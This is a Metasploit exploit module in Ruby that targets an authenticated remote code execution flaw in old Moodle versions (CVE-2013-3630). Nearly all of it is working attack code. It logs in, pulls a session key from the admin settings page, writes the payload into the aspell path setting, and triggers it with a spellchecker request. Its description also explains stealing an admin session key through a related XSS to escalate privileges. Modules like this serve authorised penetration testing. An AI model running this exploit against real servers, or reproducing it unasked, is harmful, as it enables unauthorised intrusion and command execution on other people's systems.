Moodle Authenticated Spelling Binary Remote Code Execution Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Moodle

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Moodle Authenticated Spelling Binary RCE',
        'Description' => %q{
          Moodle allows an authenticated user to define spellcheck settings via the web interface.
          The user can update the spellcheck mechanism to point to a system-installed aspell binary.
          By updating the path for the spellchecker to an arbitrary command, an attacker can run
          arbitrary commands in the context of the web application upon spellchecking requests.

          This module also allows an attacker to leverage another privilege escalation vuln.
          Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey
          and use this to escalate privileges to that of an admin, allowing the module to pop a shell
          as a previously unprivileged authenticated user.

          This module was tested against Moodle version 2.5.2 and 2.2.3.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
        ],
        'References' => [
          ['CVE', '2013-3630'],
          ['CVE', '2013-4341'], # XSS
          ['EDB', '28174'], # xss vuln allowing sesskey of admins to be stolen
          ['URL', 'https://blog.rapid7.com/2013/10/30/seven-tricks-and-treats']
        ],
        'Payload' => {
          'Compat' =>
                {
                  'PayloadType' => 'cmd',
                  'RequiredCmd' => 'generic perl ruby telnet python'
                }
        },
        'Platform' => ['unix', 'linux'],
        'Arch' => ARCH_CMD,
        'Targets' => [['Automatic', {}]],
        'DisclosureDate' => '2013-10-30',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
        OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']),
        OptString.new('SESSKEY', [ false, 'The session key of the user to impersonate', '']),
        OptString.new('TARGETURI', [ true, 'The URI of the Moodle installation', '/moodle/'])
      ]
    )
  end

  def check
    return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?

    v = moodle_version
    return CheckCode::Detected('Unable to determine moodle version') if v.nil?
    if Rex::Version.new(v) <= Rex::Version.new('2.5.2')
      return CheckCode::Appears("Exploitable Moodle version #{v} detected")
    end

    CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
  end

  def exploit
    init = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'keep_cookies' => true
    })

    fail_with(Failure::Unreachable, 'No response received from the target.') unless init

    print_status('Authenticating as user: ' << datastore['USERNAME'])

    # don't use the lib version of the login since this is older and has different parameters
    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'login', 'index.php'),
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      },
      'keep_cookies' => true
    })

    if !login || (login.code != 303)
      fail_with(Failure::NoAccess, 'Login failed')
    end

    print_status('Getting session key to update spellchecker if no session key was specified')

    sesskey = ''
    if datastore['SESSKEY'] == ''
      tinymce = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
        'vars_get' => {
          'section' => 'editorsettingstinymce'
        },
        'keep_cookies' => true
      })

      sesskey = tinymce.get_hidden_inputs[1]['sesskey']
      unless sesskey
        fail_with(Failure::UnexpectedReply, 'Unable to get proper session key')
      end
    else
      sesskey = datastore['SESSKEY']
    end

    # This looks unused, and in CVE-2021-21809 we set this as well, going to leave it here for the
    # time being since it may be the default, or it may just need a send_request_cgi added to actually
    # accomplish the goal.
    # post = {
    #  'section' => 'editorsettingstinymce',
    #  'sesskey' => sesskey,
    #  'return' => '',
    #  's_editor_tinymce_spellengine' => 'PSpellShell',
    #  's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'
    # }

    print_status('Updating spellchecker to use the system aspell')

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),
      'vars_post' => {
        'section' => 'systempaths',
        'sesskey' => sesskey,
        'return' => '',
        's__gdversion' => '2',
        's__pathtodu' => '/usr/bin/du',
        's__aspellpath' => payload.encoded,
        's__pathtodot' => ''
      },
      'keep_cookies' => true
    })

    spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'

    print_status('Triggering payload')

    resp = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'tiny_mce', '3.4.9', 'plugins', 'spellchecker', 'rpc.php'),
      'data' => spellcheck,
      'ctype' => 'application/json',
      'keep_cookies' => true
    })

    if !resp || (resp.code != 200)
      fail_with(Failure::PayloadFailed, 'Error triggering payload')
    end
  end
end